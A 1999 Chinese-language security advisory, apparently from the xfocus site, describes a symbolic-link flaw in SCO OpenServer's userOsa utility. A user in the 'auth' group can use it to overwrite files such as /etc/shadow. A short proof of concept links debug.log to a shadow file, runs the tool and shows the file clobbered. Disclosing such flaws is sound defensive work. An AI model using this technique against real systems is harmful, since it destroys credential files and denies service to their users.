xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SCO OpenServer的'userOsa'符号连接漏洞


发布时间:1999-10-15
更新时间:1999-10-15
严重程度:
威胁程度:本地拒绝服务
错误类型:意外情况处置错误
利用方式:服务器模式

受影响系统
SCO Open Server 5.0.5 ;5.0.4;5.0.3;5.0.2;5.0.1;5.0
详细描述
在某些SCO OpenServer中存在着符号连接漏洞,通过'auth'组能用来覆盖任何组可写文件。此问题存在于/etc/sysadm.d/bin/user0sa可执行文件中,此执行的输出将写入debug.log文件中,但程序本身不检查是否覆盖了一个已存在的文件或带有符号连接的文件。因此可以用 DUBUG数据来覆盖属于'auth'组的文件。而/etc/shadow & /etc/passwd也属于此类,所以恶意者可以更改这些文件使系统不能使用.

测试代码
scohack:/tmp$ ln -s /etc/shadow.old debug.log

scohack:/tmp$ /etc/sysadm.d/bin/userOsa

bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$
-----
开始利用之前:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old
利用之后 (注意字节的变化):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old
scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM
CDT 1999 by

<<<
SendConnectFail(connectFail
{{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ

{Invalid Connect Request: bah}}})

scohack:/#

解决方案
安装补丁

相关信息